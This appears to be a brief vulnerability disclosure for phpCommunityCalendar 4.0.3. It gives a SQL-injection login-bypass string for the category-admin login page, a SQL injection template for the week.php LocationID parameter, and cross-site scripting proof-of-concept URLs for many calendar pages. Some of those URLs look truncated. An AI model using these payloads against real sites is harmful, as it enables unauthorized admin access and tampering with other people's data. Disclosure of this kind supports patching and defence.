phpCommunityCalendar 4.0.3 (possibly prior versions) sql injection / login bypass / cross site scripting software: site: http://open.appideas.com download: http://open.appideas.com/Calendar/ 1) sql injection / login bypass: "admin" directory contains tools for the site administrator. "webadmin" contains tools for category administrators. If magic quotes off a user can bypass category admin check modifying sql login query, example: go to http://[target]/[path]/webadmin/login.php and use this: login: ' or isnull(1/0) /* password: [nothing here] now you can add, delete, modify events 2) sql injection: http://[target]/[path]/week.php?LocationID=-1'[INJECTION]%20/* 3) "admin" directory should be password protected by .htaccess , if not you can go to control panel as main admin http://[target]/[path]/admin/ 4) cross site scripting, poc: 4.1) add an event and fill some fields with this: \'\); 4.2) check this urls: http://[target]/[path]/thankyou.php?LocationID="> http://[target]/[path]/calDaily.php?font="><" http://[target]/[path]/calMonthly.php?font="><" http://[target]/[path]/calMonthlyP.php?font="><" http://[target]/[path]/calWeekly.php?font="><" http://[target]/[path]/calWeeklyP.php?font="><" http://[target]/[path]/calYearly.php?font="><" http://[target]/[path]/calYearlyP.php?font="><" http://[target]/[path]/day.php?font=">